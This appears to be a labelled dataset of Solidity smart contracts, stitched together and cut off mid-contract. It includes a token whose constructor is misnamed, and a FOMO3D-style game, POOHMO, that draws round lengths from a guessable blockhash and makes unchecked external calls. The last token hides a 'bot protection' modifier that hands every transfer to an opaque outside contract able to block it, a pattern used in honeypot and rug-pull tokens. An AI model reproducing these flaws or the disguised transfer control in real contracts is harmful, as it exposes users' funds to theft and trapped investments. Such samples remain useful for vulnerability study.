_r, bytes32 _s ) public { require(_validFrom <= now, "ValidFrom is too early"); require(_validTo >= now, "ValidTo is too late"); require(!nonceMap[_investor][_nonce], "Already used signature"); nonceMap[_investor][_nonce] = true; bytes32 hash = keccak256( abi.encodePacked(this, _investor, _fromTime, _toTime, _expiryTime, _canBuyFromSTO, _validFrom, _validTo, _nonce) ); _checkSig(hash, _v, _r, _s); whitelist[_investor] = TimeRestriction(_fromTime, _toTime, _expiryTime, _canBuyFromSTO); emit ModifyWhitelist(_investor, now, msg.sender, _fromTime, _toTime, _expiryTime, _canBuyFromSTO); } function _checkSig(bytes32 _hash, uint8 _v, bytes32 _r, bytes32 _s) internal view { address signer = ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", _hash)), _v, _r, _s); require(signer == Ownable(securityToken).owner() || signer == signingAddress, "Incorrect signer"); } function _onWhitelist(address _investor) internal view returns(bool) { return (((whitelist[_investor].fromTime != 0) || (whitelist[_investor].toTime != 0)) && (whitelist[_investor].expiryTime >= now)); } function _isSTOAttached() internal view returns(bool) { bool attached = ISecurityToken(securityToken).getModulesByType(3).length > 0; return attached; } function getPermissions() public view returns(bytes32[]) { bytes32[] memory allPermissions = new bytes32[](2); allPermissions[0] = WHITELIST; allPermissions[1] = FLAGS; return allPermissions; } }
1
4,736
pragma solidity ^0.4.21 ; contract RUSS_PFXXI_I_883 { mapping (address => uint256) public balanceOf; string public name = " RUSS_PFXXI_I_883 " ; string public symbol = " RUSS_PFXXI_I_IMTD " ; uint8 public decimals = 18 ; uint256 public totalSupply = 605069603335981000000000000 ; event Transfer(address indexed from, address indexed to, uint256 value); function SimpleERC20Token() public { balanceOf[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } function transfer(address to, uint256 value) public returns (bool success) { require(balanceOf[msg.sender] >= value); balanceOf[msg.sender] -= value; balanceOf[to] += value; emit Transfer(msg.sender, to, value); return true; } event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => mapping(address => uint256)) public allowance; function approve(address spender, uint256 value) public returns (bool success) { allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool success) { require(value <= balanceOf[from]); require(value <= allowance[from][msg.sender]); balanceOf[from] -= value; balanceOf[to] += value; allowance[from][msg.sender] -= value; emit Transfer(from, to, value); return true; } }
1
5,552
pragma solidity ^0.4.24; contract POOHMOevents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 POOHAmount, uint256 genAmount, uint256 potAmount ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 POOHAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 POOHAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 POOHAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } contract POOHMO is POOHMOevents { using SafeMath for *; using NameFilter for string; using KeysCalc for uint256; PlayerBookInterface private PlayerBook; address private admin = msg.sender; address private flushDivs; string constant public name = "POOHMO"; string constant public symbol = "POOHMO"; uint256 private rndExtra_ = 1 minutes; uint256 private rndGap_ = 1 minutes; uint256 private rndInit_ = 30 minutes; uint256 constant private rndInc_ = 10 seconds; uint256 private rndMax_ = 6 hours; uint256[6] private timerLengths = [30 minutes,60 minutes,120 minutes,360 minutes,720 minutes,1440 minutes]; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => POOHMODatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => POOHMODatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => POOHMODatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => POOHMODatasets.TeamFee) public fees_; mapping (uint256 => POOHMODatasets.PotSplit) public potSplit_; constructor(address whaleContract, address playerbook) public { flushDivs = whaleContract; PlayerBook = PlayerBookInterface(playerbook); fees_[0] = POOHMODatasets.TeamFee(49,10); potSplit_[0] = POOHMODatasets.PotSplit(15,10); } modifier isActivated() { require(activated_ == true); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0); require(_addr == tx.origin); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000); require(_eth <= 100000000000000000000000); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { POOHMODatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, _eventData_); } function buyXid(uint256 _affCode) isActivated() isHuman() isWithinLimits(msg.value) public payable { POOHMODatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } buyCore(_pID, _affCode, _eventData_); } function buyXaddr(address _affCode) isActivated() isHuman() isWithinLimits(msg.value) public payable { POOHMODatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } buyCore(_pID, _affID, _eventData_); } function buyXname(bytes32 _affCode) isActivated() isHuman() isWithinLimits(msg.value) public payable { POOHMODatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } buyCore(_pID, _affID, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { POOHMODatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } reLoadCore(_pID, _affCode, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { POOHMODatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } reLoadCore(_pID, _affID, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { POOHMODatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } reLoadCore(_pID, _affID, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { POOHMODatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit POOHMOevents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.POOHAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit POOHMOevents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit POOHMOevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit POOHMOevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit POOHMOevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3] ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, POOHMODatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, 0, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit POOHMOevents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.POOHAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _eth, POOHMODatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, 0, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit POOHMOevents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.POOHAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, POOHMODatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 5000000000000000000) { uint256 _availableLimit = (5000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][0] = _eth.add(rndTmEth_[_rID][0]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, 0, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, 0, _keys, _eventData_); endTx(_pID, 0, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook)); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook)); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(POOHMODatasets.EventReturns memory _eventData_) private returns (POOHMODatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != "") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function managePlayer(uint256 _pID, POOHMODatasets.EventReturns memory _eventData_) private returns (POOHMODatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(POOHMODatasets.EventReturns memory _eventData_) private returns (POOHMODatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _dev = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _POOH = (_pot.mul(potSplit_[_winTID].pooh)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_dev)).sub(_gen)).sub(_POOH); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); admin.transfer(_dev); flushDivs.call.value(_POOH)(bytes4(keccak256("donate()"))); round_[_rID].mask = _ppt.add(round_[_rID].mask); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.POOHAmount = _POOH; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; rndMax_ = timerLengths[determineNextRoundLength()]; round_[_rID].end = now.add(rndMax_); round_[_rID].pot = _res; return(_eventData_); } function determineNextRoundLength() internal view returns(uint256 time) { uint256 roundTime = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1)))) % 6; return roundTime; } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, POOHMODatasets.EventReturns memory _eventData_) private returns(POOHMODatasets.EventReturns) { uint256 _dev = _eth / 100; uint256 _POOH = 0; if (!address(admin).call.value(_dev)()) { _POOH = _dev; _dev = 0; } uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit POOHMOevents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _POOH = _POOH.add(_aff); } _POOH = _POOH.add((_eth.mul(fees_[_team].pooh)) / (100)); if (_POOH > 0) { flushDivs.call.value(_POOH)(bytes4(keccak256("donate()"))); _eventData_.POOHAmount = _POOH.add(_eventData_.POOHAmount); } return(_eventData_); } function potSwap() external payable { admin.transfer(msg.value); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, POOHMODatasets.EventReturns memory _eventData_) private returns(POOHMODatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].pooh)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, POOHMODatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit POOHMOevents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.POOHAmount, _eventData_.genAmount, _eventData_.potAmount ); } bool public activated_ = false; function activate() public { require(msg.sender == admin); require(activated_ == false); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } } library POOHMODatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 POOHAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 pooh; } struct PotSplit { uint256 gen; uint256 pooh; } } library KeysCalc { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20); if (_temp[0] == 0x30) { require(_temp[1] != 0x78); require(_temp[1] != 0x58); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a)); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }
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2,385
pragma solidity ^0.7.0; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } interface IUniswapV2Router02 { function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BotProtected { address internal owner; address internal protectionFromBots; address public uniPair; constructor(address _botProtection) { protectionFromBots = _botProtection; } modifier checkBots(address _from, address _to, uint256 _value) { (bool notABot, bytes memory isNotBot) = protectionFromBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value)); require(notABot); _; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, 